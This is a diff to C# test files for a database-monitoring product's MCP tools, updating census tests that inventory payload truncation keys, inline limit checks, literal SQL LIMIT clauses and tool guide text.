--- a/Darling/Darling.Tests/McpPayloadContractCensusTests.cs
+++ b/Darling/Darling.Tests/McpPayloadContractCensusTests.cs
@@ -92,6 +92,8 @@ namespace Darling.Tests;
 /// <para>Files whose names carry <c>ForcePlan</c> are outside every sweep here by standing decision, not by
 /// allowance: the force-plan bot is not this campaign's to census.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class McpPayloadContractCensusTests
 {
     /* ───────────────────────── the population ───────────────────────── */
@@ -1035,6 +1037,16 @@ private static string StripCommentsPreservingLength(string span, string code)
     /// </summary>
     public static readonly (string File, string Tool)[] InlineDaysBackRefusals = [];
 
+    /// <summary>The tools whose only bounded parameter is a <c>limit</c> they refuse inline with the shared sentence
+    /// (<c>if (limit &lt; 1 || limit &gt; Max…)</c>), because the tool has no window to validate beside it.</summary>
+    public static readonly (string File, string Tool)[] InlineLimitRefusals =
+    [
+        ("DarlingMcpFinOpsInventoryTools.cs", "get_finops_inventory"),
+    ];
+
+    private static readonly Regex InlineLimitRefusal = new(
+        @"if \(limit < 1 \|\| limit > [\w.]+\)", RegexOptions.Compiled);
+
     private static readonly Regex SharedValidatorCall = new(
         @"\bMcpHelpers\.(ValidateWindow|ValidateUncappedWindow|ValidateHoursBack|ValidateDaysBack|ValidateTop|ResolveAsOf|ParseSummaryDate)\(",
         RegexOptions.Compiled);
@@ -1080,6 +1092,12 @@ resolves as_of through the shared parser — an early continue would hide the in
                 inlineSeen.Add((file, tool));
             }
 
+            if (declared.SequenceEqual(["limit"]) && InlineLimitRefusal.IsMatch(code)
+                && InlineLimitRefusals.Contains((file, tool)))
+            {
+                continue;
+            }
+
             if (inline || SharedValidatorCall.IsMatch(code) || CallsAValidatingHelper(code, source))
             {
                 continue;
@@ -1269,11 +1287,17 @@ public void TheTotalDiscriminator_FlagsACountUnderATotalName_AndPassesACompariso
     /// neighbours are unstamped too, and all three would leave together when A10 stamped the family.
     /// <b>Erik ruled the other way</b> (#3880): a read that has just become one honest instant can say WHICH
     /// instant, so stamp it rather than roster it. <c>IndexLockingSql</c> projects <c>ios.collection_time</c>,
-    /// <c>get_object_locking</c> publishes <c>captured_at</c> on both SKUs, and this list is back to the two
+    /// <c>get_object_locking</c> publishes <c>captured_at</c> on both SKUs, and this list went back to the two
     /// entries it held before #3879 — the shrink-only direction restored, with the growth episode kept on the
     /// record here rather than quietly erased.</para>
     ///
-    /// <para>The two survivors are not the same kind of gap. <c>IndexUsageSql</c> is a genuine A10 residual:
+    /// <para><b>It grew again in #5069, to three, and #5070 shrank it back to two.</b> The growth was not a read
+    /// becoming unstamped: the FinOps Storage Growth index drill (<c>ObjectIndexDetailSql</c>) moved into the Storage
+    /// <c>FinOps</c> subfolder in #5050, and this census could not see it until #5069 made the reader scan recursive.
+    /// #5070 projects its anchor and <c>get_finops</c> <c>storage_growth</c> publishes it at the indexes level as
+    /// <c>captured_at</c>, so the row left this list.</para>
+    ///
+    /// <para>The original two are not the same kind of gap. <c>IndexUsageSql</c> is a genuine A10 residual:
     /// projecting its anchor and stamping <c>get_index_usage</c> is the same small edit #3880 made next door,
     /// and it is available whenever the family is taken. <c>IndexUsageMatchCountSql</c> is structural — a
     /// scalar <c>COUNT(*)</c> has no row for a stamp to ride on, so it leaves this list only if it ever
@@ -1512,18 +1536,26 @@ public void TheSharedTimestampParsers_RefuseWhatTheGeneralParserAccepts()
     /// </summary>
     public static readonly (string Key, string[] Files, string WhatWasCut)[] SecondBoundCutKeys =
     [
+        ("databases_truncated", ["DarlingMcpFinOpsTools.IndexAnalysis.cs"],
+            "get_finops index_analysis' per-database roll-up list is capped at MaxIndexAnalysisDatabases (13), beside the recommendation list's own truncated — two bounds in one payload, the second spelled <bound>_truncated"),
+        ("points_truncated", ["DarlingMcpQueryStoreHistoryTools.cs"],
+            "#5234: get_query_store_query_history's per-interval points[] is capped at MaxPoints (150) and a byte budget, keeping the NEWEST points, observed off the fetched row count; plans[] is capped separately (plans_truncated) — two bounds in one payload, the second spelled <bound>_truncated"),
+        ("plans_truncated", ["DarlingMcpQueryStoreHistoryTools.cs"],
+            "#5234: get_query_store_query_history's per-plan plans[] roll-up is capped at MaxPlans (20), the longest by total duration, beside the per-interval points[] bound (points_truncated) — two bounds in one payload, the second spelled <bound>_truncated"),
         ("scan_truncated", ["DarlingMcpBlockingTools.cs"],
             "the dedup_key fingerprint scan's ceiling (FingerprintScanCeiling), observed off a ceiling + 1 fetch, beside the page's own truncated — two bounds in one payload, the second spelled <bound>_truncated"),
-        ("window_truncated", ["DarlingMcpDataTools.cs", "DarlingMcpQueryStoreClutterTools.cs", "DarlingMcpTrendTools.cs", "McpQueryTools.cs"],
-            "the #2364 / #2353 WINDOW floor (#3653 item 17): the tier that answered did not hold the whole requested window, so the served series begins later than asked — beside effective_start / effective_hours_back, observed off the served head against the shared ninety-minute TruncationSlack, no cap involved; get_query_trend and get_query_store_top write it in their initializers, the duration-trend trio through TrendDisclosure.WriteTo (Darling) and WriteDisclosure (Lite); get_query_store_clutter (#3797) writes it in its initializer for its plan-churn and wait arms, which read the same raw tier get_query_store_top does, off the same window-floor read and the same ninety-minute slack"),
+        ("processes_truncated", ["DarlingMcpBlockingTools.cs"],
+            "get_deadlock_detail's processes[] is cut by two bounds, the per-deadlock cap DarlingDeadlockProcessRows.MaxProcessesPerDeadlock (12) and the default page's shared row budget (DefaultPageRowBudget, 24); the rows cut from one deadlock are counted beside it. Unlike the boolean <bound>_truncated keys around it, processes_truncated is a COUNT (0 when nothing was cut), kept under this name because it is the per-deadlock twin of the page's truncated and a reader looks for it beside processes"),
+        ("window_truncated", ["DarlingMcpBlockingTools.cs", "DarlingMcpConfigHistoryTools.cs", "DarlingMcpDataTools.cs", "DarlingMcpDefaultTraceTools.cs", "DarlingMcpHealthParserTools.cs", "DarlingMcpJobTools.cs", "DarlingMcpLatchSpinlockTools.cs", "DarlingMcpLongQueryTools.cs", "DarlingMcpMemoryGrantTools.cs", "DarlingMcpPgBlockingTools.cs", "DarlingMcpPgCpuUtilizationTools.cs", "DarlingMcpPgDatabaseTools.cs", "DarlingMcpPgDeadlockTools.cs", "DarlingMcpPgIndexUsageTools.cs", "DarlingMcpPgIoTools.cs", "DarlingMcpPgKernelStatsTools.cs", "DarlingMcpPgLogEventTools.cs", "DarlingMcpPgPlanTools.cs", "DarlingMcpPgPredicateTools.cs", "DarlingMcpPgReplicationStatsTools.cs", "DarlingMcpPgServerStateTools.cs", "DarlingMcpPgSessionStatesTools.cs", "DarlingMcpPgStatementTools.cs", "DarlingMcpPgWaitSamplingTools.cs", "DarlingMcpPgWaitTools.cs", "DarlingMcpPgXminTools.cs", "DarlingMcpPlanCorrectionTools.cs", "DarlingMcpQueryHeatmapTools.cs", "DarlingMcpQueryStoreClutterTools.cs", "DarlingMcpQueryStoreHistoryTools.cs", "DarlingMcpQueryStoreRegressionTools.cs", "DarlingMcpSessionTools.cs", "DarlingMcpStoreQueryHistoryTools.cs", "DarlingMcpTrendTools.cs", "McpBlockingTools.cs", "McpConfigHistoryTools.cs", "McpDefaultTraceTools.cs", "McpHealthParserTools.cs", "McpHealthTools.cs", "McpLongQueryTools.cs", "McpMemoryTools.cs", "McpPlanCorrectionTools.cs", "McpQueryTools.cs", "McpSessionTools.cs", "McpWaitTools.cs"],
+            "the #2364 / #2353 WINDOW floor (#3653 item 17): the tier that answered did not hold the whole requested window, so the served series begins later than asked — beside effective_start / effective_hours_back, observed off the served head against the shared ninety-minute TruncationSlack, no cap involved; get_query_trend and get_query_store_top write it in their initializers, the duration-trend trio through TrendDisclosure.WriteTo (Darling) and WriteDisclosure (Lite); get_store_query_history (#5097) writes it beside hours_back from the history's own first capture, not a collector probe; get_query_store_clutter (#3797) writes it in its initializer for its plan-churn and wait arms, which read the same raw tier get_query_store_top does, off the same window-floor read and the same ninety-minute slack; Lite's get_active_queries and get_waiting_tasks (QuerySnapshots / WaitingTasks, read by coverage), get_query_store_regressions (checked against the baseline's start, the earlier of its two windows) and get_query_heatmap (#4966) write it in their initializers through McpQueryTools.WindowNotice, beside a page cut of their own (truncated), so they publish effective_start without effective_hours_back, which the window-floor rule below holds apart for the window floor; Darling's get_server_config_changes, get_database_config_changes and get_trace_flag_changes (#4966) write them after hours_back from the coverage probe of server_config, database_config and trace_flags (the same rule as the viewer's and the web's Config Changes notes), and on their empty answer inside the hints; Darling's get_collection_log (one server), get_plan_corrections and get_memory_pressure_events (#4966) write them after hours_back too: the log from its own coverage probe, which ignores the collector, status and duration filters so the note says where the log starts, plan corrections from plan_correction's coverage, where an answer of only automatic-tuning rows is a data answer, and memory pressure from the events' sample_time with its edge at the purge cutoff, each on its empty answer inside the hints; Darling's get_active_queries, get_waiting_tasks, get_query_heatmap and get_query_store_regressions (#4966) write the same three keys after hours_back through DarlingMcpWindowNotice, with the same wording and the same absence of effective_hours_back (the regressions tool checks its baseline's start, as Lite's does); Darling's get_active_queries (DarlingMcpSessionTools.cs) writes them only when the window was cut, so a covered default call stays inside the response budget and a missing key there means covered (Lite's writes them always), and each of the four leaves them off when its coverage probe failed, since a failed probe costs the notice and never the rows; Darling's get_wait_stats, get_latch_stats and get_spinlock_stats (#4966) write it on a data answer only, and Lite's config-change, collection-log, plan-correction and memory-pressure tools write it as well; and Darling's six PostgreSQL reads get_pg_wait_stats, get_pg_wait_sampling, get_pg_kernel_stats, get_pg_lock_stats, get_pg_predicate_stats and get_pg_server_config_changes (#4966): the coverage of the web's probe source for each read did not reach the start of the requested window; and Darling's five PostgreSQL window reads get_pg_top_queries, get_pg_database_stats, get_pg_io_stats, get_pg_plans and get_pg_cpu_utilization (#4966): the store's coverage did not reach the start of the requested window; and Darling's get_pg_blocking, get_pg_session_states, get_pg_replication_stats and get_pg_xmin_horizon (#4966), the same floor read from the collector's logged runs (the xmin horizon from its table's schedule edge), because a row is stored only while a chain, a held transaction, a replica or a holder exists; Darling's nine get_health_parser_* tools and get_default_trace_events (#4966) write the same three keys after hours_back through DarlingMcpWindowNotice, always on a data answer, and leave them off when their coverage probe failed; so do Lite's get_default_trace_events, get_wait_stats and get_blocking_stats (#4966), the last one once for its two series, from the earlier of the blocked-process and deadlock coverages; Darling's get_blocking, get_deadlocks, get_deadlock_detail, get_blocked_process_xml and get_long_query_completions (#4966) write the three keys after hours_back through DarlingMcpWindowNotice.ReadEventAsync, beside a page cut of their own (truncated), and leave them off when the coverage probe failed; Darling's get_blocking_stats (#4966) writes them after hours_back as one notice for its two series (blocking and deadlock severity), at the later of the two series' floors (blocking: the earlier of blocked_process_reports and dmv_blocking_snapshots), and leaves them off when the probe failed"),
         ("findings_truncated", ["DarlingMcpTools.cs", "McpAnalysisTools.cs"],
             "#4198: get_analysis_findings' GROUP PAGE cut — limit caps the collapsed per-chain groups returned (default 18), independent of the pre-existing truncated above (the raw WindowCoveringLimit occurrence read, beside truncation_note): truncated warns occurrence stats may under-report, findings_truncated warns other diagnostic chains exist but are not on this page at all"),
     ];
 
     public static readonly (string Key, string[] Files, string WhatItExplains)[] CutNoteKeys =
     [
-        ("truncation_note", ["DarlingMcpDataTools.cs", "DarlingMcpQueryStoreClutterTools.cs", "DarlingMcpTools.cs", "McpAnalysisTools.cs", "McpQueryTools.cs"],
-            "the prose beside the flag: on get_analysis_findings (both SKUs) beside truncated, the WindowCoveringLimit read cap observed off a cap + 1 fetch; on get_query_store_top and get_query_store_clutter beside window_truncated, the #2364 window floor — the store's raw retention did not reach the whole requested window (on the clutter view, for the two arms that read the raw tier); on Lite's get_top_queries_by_cpu / get_top_procedures_by_cpu / get_query_store_top (#4231), the same window-floor note, from LocalDataService.GetQueryWindowFloorAsync"),
+        ("truncation_note", ["DarlingMcpBlockingTools.cs", "DarlingMcpConfigHistoryTools.cs", "DarlingMcpDataTools.cs", "DarlingMcpDefaultTraceTools.cs", "DarlingMcpHealthParserTools.cs", "DarlingMcpLatchSpinlockTools.cs", "DarlingMcpLongQueryTools.cs", "DarlingMcpMemoryGrantTools.cs", "DarlingMcpPgBlockingTools.cs", "DarlingMcpPgCpuUtilizationTools.cs", "DarlingMcpPgDatabaseTools.cs", "DarlingMcpPgDeadlockTools.cs", "DarlingMcpPgIndexUsageTools.cs", "DarlingMcpPgIoTools.cs", "DarlingMcpPgKernelStatsTools.cs", "DarlingMcpPgLogEventTools.cs", "DarlingMcpPgPlanTools.cs", "DarlingMcpPgPredicateTools.cs", "DarlingMcpPgReplicationStatsTools.cs", "DarlingMcpPgServerStateTools.cs", "DarlingMcpPgSessionStatesTools.cs", "DarlingMcpPgStatementTools.cs", "DarlingMcpPgWaitSamplingTools.cs", "DarlingMcpPgWaitTools.cs", "DarlingMcpPgXminTools.cs", "DarlingMcpPlanCorrectionTools.cs", "DarlingMcpQueryHeatmapTools.cs", "DarlingMcpQueryStoreClutterTools.cs", "DarlingMcpQueryStoreRegressionTools.cs", "DarlingMcpSessionTools.cs", "DarlingMcpStoreQueryHistoryTools.cs", "DarlingMcpTools.cs", "McpAnalysisTools.cs", "McpBlockingTools.cs", "McpConfigHistoryTools.cs", "McpDefaultTraceTools.cs", "McpHealthParserTools.cs", "McpHealthTools.cs", "McpLongQueryTools.cs", "McpMemoryTools.cs", "McpPlanCorrectionTools.cs", "McpQueryTools.cs", "McpSessionTools.cs", "McpWaitTools.cs"],
+            "the prose beside the flag: on get_analysis_findings (both SKUs) beside truncated, the WindowCoveringLimit read cap observed off a cap + 1 fetch; on get_query_store_top and get_query_store_clutter beside window_truncated, the #2364 window floor — the store's raw retention did not reach the whole requested window (on the clutter view, for the two arms that read the raw tier); on Lite's get_top_queries_by_cpu / get_top_procedures_by_cpu / get_query_store_top (#4231), the same window-floor note, from LocalDataService.GetQueryWindowFloorAsync; and on Lite's get_active_queries, get_waiting_tasks, get_query_store_regressions and get_query_heatmap (#4966), the same note beside window_truncated, built by McpQueryTools.WindowNotice with the table each one read; and on Darling's get_active_queries, get_waiting_tasks, get_query_heatmap and get_query_store_regressions (#4966), the same note beside window_truncated, built by DarlingMcpWindowNotice with the table each one read (query_snapshots, waiting_tasks, query_stats, query_store_stats); Darling's wait, latch and spinlock aggregates (#4966), and Lite's config-change, collection-log, plan-correction and memory-pressure tools, the same note from the coverage probe; and on Darling's six PostgreSQL wait, kernel, lock, predicate and config-change reads (#4966), the same note on the web's probe source for each read; and Darling's get_pg_top_queries, get_pg_database_stats, get_pg_io_stats, get_pg_plans and get_pg_cpu_utilization (#4966), the same note beside window_truncated, built by DarlingMcpWindowNotice over the table each one read, and carried under hints on an empty answer; and Darling's get_pg_blocking, get_pg_session_states, get_pg_replication_stats and get_pg_xmin_horizon (#4966), the same note and hints; and on Darling's nine get_health_parser_* tools and get_default_trace_events (#4966), the same note built by DarlingMcpWindowNotice with the table each one read (system_health_events, default_trace_events); and Lite's get_default_trace_events, get_wait_stats and get_blocking_stats (#4966), the same note over default_trace_events, wait_stats, and blocked_process_report and deadlocks; and Lite's nine get_health_parser_* tools (#4966), the same note over system_health_events; and Darling's get_blocking, get_deadlocks, get_deadlock_detail, get_blocked_process_xml and get_long_query_completions (#4966), the same note, built by DarlingMcpWindowNotice with the collector table each one read; and Darling's get_pg_index_usage (from coverage of pg_index_usage_stats) and get_pg_write_stats (derived from the one row's own first sample, with no probe on a data answer; its empty answer probes pg_write_stats) (#4966), the same note; and on Darling's get_pg_deadlocks and get_pg_log_events (#4966), the same note beside window_truncated on a sparse newest-first event list, from the earlier of the coverage floor and the oldest event shown, whether or not the cap cut the page (the answer reports the cap through truncated)"),
         ("findings_truncated_note", ["DarlingMcpTools.cs", "McpAnalysisTools.cs"],
             "#4198: the prose beside findings_truncated — how many diagnostic chains were active in the window and that raising limit or narrowing hours_back would show more of them"),
     ];
@@ -1531,6 +1563,10 @@ public static readonly (string Key, string[] Files, string WhatItExplains)[] Cut
 
     public static readonly (string Key, string[] Files, string WhatWasCut)[] SourceSideCutKeys =
     [
+        ("arguments_truncated", ["DarlingMcpSlowReadTools.cs"],
+            "get_slow_reads' arguments: the writer held the recorded arguments to 4,096 bytes and stored a truncated object naming the keys instead, a cut made when the row was written"),
+        ("statements_truncated", ["DarlingMcpSlowReadTools.cs"],
+            "get_slow_reads' statements: the writer stored at most 50 of the statements a read ran, a cut made when the row was written; statement_count is the whole number"),
         ("capture_was_truncated", ["DarlingMcpPgSessionStatesTools.cs"],
             "the pg_session_states collector's per-capture row cap bit at COLLECTION: the stored rows for that capture are a worst-first sample of the instance's sessions"),
         ("chain_may_be_truncated", ["DarlingMcpPgBlockingTools.cs"],
@@ -1543,6 +1579,10 @@ public static readonly (string Key, string[] Files, string WhatWasCut)[] SourceS
 
     public static readonly (string Key, string[] Files, string WhatWasCut)[] FieldPreviewCutKeys =
     [
+        ("script_truncated", ["DarlingMcpFinOpsTools.IndexAnalysis.cs"],
+            "get_finops index_analysis' recommendation script — reconstructed T-SQL that can run long — previews to IndexAnalysisTextCap (300) characters by default; full_text returns it whole"),
+        ("definition_truncated", ["DarlingMcpFinOpsTools.IndexAnalysis.cs"],
+            "get_finops index_analysis' original_index_definition — the reconstructed CREATE statement — previews to IndexAnalysisTextCap (300) characters by default; full_text returns it whole"),
         ("confidence_basis_truncated", ["DarlingMcpTools.cs", "McpAnalysisTools.cs"],
             "#4198: get_analysis_findings' confidence_basis — a near-fixed methodology sentence repeated on every finding (StoryConfidence.DescribeBasis) — previews to 160 characters (FindingTextPreviewLength) by default; full_text returns it whole"),
         ("advice_truncated", ["DarlingMcpTools.cs", "McpAnalysisTools.cs"],
@@ -1550,7 +1590,7 @@ public static readonly (string Key, string[] Files, string WhatWasCut)[] FieldPr
         ("deadlock_graph_xml_truncated", ["DarlingMcpBlockingTools.cs", "McpBlockingTools.cs"],
             "#4198: get_deadlock_detail's own wide field — deadlock_graph_xml is a 2000-character preview by default (a busy production store measured 120,454 bytes for 3 graphs), full_graph or a dedup_key call gets the whole XML"),
         ("query_text_truncated", ["DarlingMcpDataTools.cs", "DarlingMcpPlanCorrectionTools.cs", "DarlingMcpQueryStoreRegressionTools.cs", "DarlingMcpSessionTools.cs", "McpPlanCorrectionTools.cs", "McpQueryTools.cs", "McpSessionTools.cs"],
-            "#4198: query_text is previewed at read time by four tools: get_active_queries at 500 chars (full_text gets the whole text; a synthetic 50-row page measured 81,489 bytes), get_query_store_regressions at 240 chars (full_text opts back in; a busy production store measured 211 KB at default arguments), get_plan_corrections at 150 chars (full_text gets the whole text; the full text IS in the store, not collector-capped), get_query_store_top at 400 chars (full_text gets the whole text; query_store_stats.query_text is not collector-capped either). get_query_store_top's MCP signature forwards to an internal previewLength overload so the web viewer can keep the OLD 2000-char cap that field already had, rather than switching to full text the way get_deadlock_detail's never-capped field does"),
+            "#4198: query_text is previewed at read time by four tools: get_active_queries at 400 chars (500 until #4966's window-floor keys needed the room; full_text gets the whole text; a synthetic 50-row page measured 81,489 bytes), get_query_store_regressions at 240 chars (full_text opts back in; a busy production store measured 211 KB at default arguments), get_plan_corrections at 150 chars (full_text gets the whole text; the full text IS in the store, not collector-capped), get_query_store_top at 400 chars (full_text gets the whole text; query_store_stats.query_text is not collector-capped either). get_query_store_top's MCP signature forwards to an internal previewLength overload so the web viewer can keep the OLD 2000-char cap that field already had, rather than switching to full text the way get_deadlock_detail's never-capped field does"),
         ("error_message_truncated", ["DarlingMcpDataTools.cs", "McpHealthTools.cs"],
             "#4198: get_collection_log's own wide field — error_message is a 500-character preview by default (a seeded store measured 90,514 bytes for 200 rows at the old 200-row default), full_text opts back into the whole (up to 4000-character, DarlingObservability.LogCollectionAsync's own write-time ceiling) field"),
         ("last_error_truncated", ["DarlingMcpDataTools.cs", "McpHealthTools.cs"],
@@ -1573,7 +1613,7 @@ public static readonly (string Key, string[] Files, string WhatIsWithheld)[] Wit
 
     public static readonly (string Key, string[] Files, string WhyItSurvives)[] PageCountsUnderANeutralNoun =
     [
-        ("shown", ["DarlingMcpDefaultTraceTools.cs", "DarlingMcpHealthParserTools.cs", "DarlingMcpTools.cs", "McpAnalysisTools.cs", "McpDefaultTraceTools.cs", "McpHealthParserTools.cs"],
+        ("shown", ["DarlingMcpDefaultTraceTools.cs", "DarlingMcpHealthParserTools.cs", "DarlingMcpJobTools.cs", "DarlingMcpTools.cs", "McpAnalysisTools.cs", "McpDefaultTraceTools.cs", "McpHealthParserTools.cs"],
             "the page's count beside an honest WHOLE total (total_entries / total_events / total_facts, or a <noun>_count over the whole in-memory set) — the cut is exact and disclosed by the pair; the #3594 spelling is *_returned + truncated, and the rename is fenced tonight because four PgTarget* test files read shown off get_analysis_facts"),
     ];
 
@@ -1774,7 +1814,7 @@ read as hints so "no rows matched" is never read as a claim about the part the r
            holds; plus (#4231) get_top_queries_by_cpu's and get_top_procedures_by_cpu's payloads, the same
            disclosure over query_stats and procedure_stats; plus get_top_queries_by_cpu's
            empty min_dop/parallel_only status, which hands back the window it read. */
-        ("DarlingMcpDataTools.cs", "initializer", 6),
+        ("DarlingMcpDataTools.cs", "initializer", 7),
         ("DarlingMcpQueryStoreClutterTools.cs", "initializer", 1),
         ("DarlingMcpTrendTools.cs", "envelope", 1),
         ("DarlingMcpTrendTools.cs", "initializer", 1),
@@ -2076,6 +2116,8 @@ public static readonly (string Spelling, string File, string WhatItIs)[] Severit
             "SQL Server's own synchronization_health_desc token, PARSED on the way in and banded to HealthSeverity — input vocabulary, never emitted"),
         ("HEALTHY", "DarlingFleetReader.cs",
             "the collector-health row status (the shared NEVER_RUN / NO_PERMISSIONS / FAILING / STALE / WARNING / HEALTHY vocabulary), compared on the way in to count a server's healthy collectors — input vocabulary"),
+        ("HEALTHY", "DarlingGatedCollectorRows.cs",
+            "the collector-health row status (the same shared vocabulary as DarlingFleetReader's), compared on the way in to tell a HEALTHY Always On collector (shown as not applicable on a server without Always On) from a failing one that keeps its log row — input vocabulary, never emitted"),
         ("Unknown", "DarlingMcpTools.cs",
             "audit_config's edition-NAME fallback (Enterprise / Standard / … / Unknown) — a name, spelled as the canon by coincidence"),
         ("Unknown", "McpAnalysisTools.cs",
@@ -2248,19 +2290,22 @@ public void TheDailySummary_PublishesOneBandSpelling_OnBothSkus()
 
     /// <summary>
     /// Every literal <c>LIMIT n</c> (<c>n &gt; 1</c>) that ENDS a reader statement on either SKU — the shape
-    /// #3541 A3 and #3659 found behind tools that advertised <c>limit</c>. Seven remain, all in Lite's
-    /// service layer, none behind a tool that takes a <c>limit</c>: six are viewer-only reads and one
+    /// #3541 A3 and #3659 found behind tools that advertised <c>limit</c>. Seven remain: six in Lite's
+    /// service layer plus one in the Darling FinOps recommendations reader (<c>MaintenanceWindowSql</c>, the top-10 long-running jobs, a ceiling over a short list; the scan reads Storage subfolders since the FinOps readers live there), none behind a tool that takes a <c>limit</c>: five are viewer-only reads and one
     /// (<c>GetPlanCacheSnapshotAsync</c>, behind <c>get_plan_cache_bloat</c>, which takes no cap) is a
     /// ceiling of 30 over a population of a dozen cache types. <c>LIMIT 1</c> is the latest-row idiom and is
-    /// not a page. Pinned so a new terminal literal has to say what it is, and so the Lite twin of
+    /// not a page. The Long Queries grid's read (<c>GetRecentLongQueryCompletionsAsync</c>) left the roster in
+    /// #4989: its cap is the named constant <c>LongQueryGridCap</c>, written into the statement as
+    /// <c>LIMIT {LongQueryGridCap}</c>, so no literal ends it, and the grid's "Showing since" notice reads the same
+    /// constant. Pinned so a new terminal literal has to say what it is, and so the Lite twin of
     /// <see cref="McpPageContractTests.EveryPagedRead_BindsItsCapAsAParameter_NeverALiteral"/> has a
     /// population to shrink.
     /// </summary>
     public static readonly (string File, string Member, int Limit)[] StatementTerminalLiteralLimits =
     [
+        ("DarlingFinOpsRecommendationsReader.cs", "(file scope)", 10),
         ("LocalDataService.Blocking.cs", "GetBlockingPairRowsAsync", 5000),
-        ("LocalDataService.FinOps.Recommendations.cs", "GetRecommendationsAsync", 10),
-        ("LocalDataService.LongQueries.cs", "GetRecentLongQueryCompletionsAsync", 200),
+        ("LocalDataService.FinOps.Recommendations.cs", "GetRecommendationsWithNoteAsync", 10),
         ("LocalDataService.PlanCache.cs", "GetPlanCacheSnapshotAsync", 30),
         ("LocalDataService.RunningJobs.cs", "GetAnomalousJobsAsync", 5),
         ("LocalDataService.WaitStats.cs", "GetAllQuerySnapshotsInRangeAsync", 2000),
@@ -2314,8 +2359,15 @@ public void EveryStatementTerminalLiteralLimit_IsInTheInventory_OnBothSkus()
         })
         {
             var root = RepoFile.PathTo(directory);
-            foreach (var file in Directory.EnumerateFiles(root, pattern).Order(StringComparer.Ordinal))
+            foreach (var file in Directory.EnumerateFiles(root, pattern, SearchOption.AllDirectories).Order(StringComparer.Ordinal))
             {
+                /* Build output is not source: skip bin/ and obj/ so the scan and its file-count floor stay the same on every machine. */
+                var segments = Path.GetRelativePath(root, file).Split(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
+                if (segments.Contains("bin", StringComparer.OrdinalIgnoreCase) || segments.Contains("obj", StringComparer.OrdinalIgnoreCase))
+                {
+                    continue;
+                }
+
                 var name = Path.GetFileName(file);
                 if (name.Contains("ForcePlan", StringComparison.Ordinal))
                 {
diff --git a/Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs b/Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs
index e596ae0f7f..a6b7583e35 100644
--- a/Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs
+++ b/Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs
@@ -83,8 +83,9 @@ public sealed class McpReadToolBudgetLiveTests
     {
         "add_servers", "create_custom_alert_rule", "create_custom_view", "create_mute_rule",
         "delete_custom_alert_rule", "delete_custom_view", "delete_mute_rule", "delete_notification_route",
-        "mute_analysis_finding", "remove_server", "set_mute_rule_enabled", "set_notification_route_enabled",
+        "edit_server", "mute_analysis_finding", "remove_server", "set_mute_rule_enabled", "set_notification_route_enabled",
         "update_alert_settings", "update_custom_alert_rule", "update_custom_view", "update_mute_rule",
+        "create_server_tag", "update_server_tag", "delete_server_tag", "assign_server_tag", "unassign_server_tag",
     };
 
     /// <summary>Empty since get_collection_health's per-field cut (the last #4198 row on this list, like Lite's
diff --git a/Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs b/Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs
index c73017ad5b..d441204332 100644
--- a/Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs
+++ b/Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs
@@ -36,6 +36,7 @@ namespace Darling.Tests;
 /// <c>AddSingleton(config.Postgres)</c> line did not name <c>PostgresConfig</c> anywhere in source text, so this
 /// test only starts passing once item 3 lands.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class McpServiceParameterDiSeatCensusTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/McpToolGuideHeads.AgStore.cs b/Darling/Darling.Tests/McpToolGuideHeads.AgStore.cs
index 40566d1d08..d3f758bf05 100644
--- a/Darling/Darling.Tests/McpToolGuideHeads.AgStore.cs
+++ b/Darling/Darling.Tests/McpToolGuideHeads.AgStore.cs
@@ -23,6 +23,7 @@ public sealed class McpToolGuideHeadsAgStoreTests
     [
         "get_ag_health",
         "get_store_query_stats",
+        "get_store_query_history",
     ];
 
     [Fact]
@@ -88,4 +89,16 @@ public void StoreQueryStatsHead_SeparatesZeroRowsFromThePreconditionGate()
             "Gated: status precondition, with the remedy, when pg_stat_statements is missing, not loaded or too old, its reader isn't built yet, or this role has no grant.",
             served, StringComparison.Ordinal);
     }
+
+    /// <summary>#5097: the history tool's head names its subject (the store, not a monitored server), its two modes and
+    /// its gate.</summary>
+    [Fact]
+    public void StoreQueryHistoryHead_CarriesTheSubjectTheTwoModesAndTheGate()
+    {
+        var served = McpToolGuideTests.Served("get_store_query_history").Served;
+        Assert.Contains("not a monitored server's queries. No server_name.", served, StringComparison.Ordinal);
+        Assert.Contains("Without query_id: top statements", served, StringComparison.Ordinal);
+        Assert.Contains("With query_id: that statement's hourly series, oldest first.", served, StringComparison.Ordinal);
+        Assert.Contains("Gated: status precondition before the first snapshot.", served, StringComparison.Ordinal);
+    }
 }
diff --git a/Darling/Darling.Tests/McpToolGuideHeads.CustomView.cs b/Darling/Darling.Tests/McpToolGuideHeads.CustomView.cs
index 90f3830a08..dd5d14db4f 100644
--- a/Darling/Darling.Tests/McpToolGuideHeads.CustomView.cs
+++ b/Darling/Darling.Tests/McpToolGuideHeads.CustomView.cs
@@ -22,7 +22,7 @@ namespace Darling.Tests;
 public sealed class McpToolGuideHeadsCustomViewTests
 {
     private const int ValidateCustomViewServedCap = 561;
-    private const int RunCustomViewPanelServedCap = 612;
+    private const int RunCustomViewPanelServedCap = 609;
 
     /// <summary>Guardrail facts the head alone must carry for each tool: what a caller could otherwise misread
     /// about the answer (dry-run vs write, exhaustiveness, strictness, status shape, and what an absent
@@ -35,7 +35,7 @@ private static readonly (string Tool, string Fact)[] HeadFacts =
         ("validate_custom_view", "A notebook cell is FLAT (carries the panel's own keys directly); only run_custom_view_panel's spec nests under 'panel'."),
         ("run_custom_view_panel", "with no 'status' field on success"),
         ("run_custom_view_panel", "Failures return {status, message}: \"invalid\" for a bad spec or panel, or a failed or timed-out query; \"error\" for an internal fault."),
-        ("run_custom_view_panel", "notice means retention covered only part of the window, or the row cap truncated the result; absent means neither happened"),
+        ("run_custom_view_panel", "notice is a partial-window caveat: the tier's retention could not cover the window, or the panel's own data starts after the window does, or the row cap truncated the result; absent means the window was served whole."),
         ("run_custom_view_panel", "Window ends now: 'hours' (default 24)"),
         ("run_custom_view_panel", "Only 'panel' is required."),
     ];
@@ -48,6 +48,21 @@ private static readonly (string Tool, string Fact)[] TailCarriesFacts =
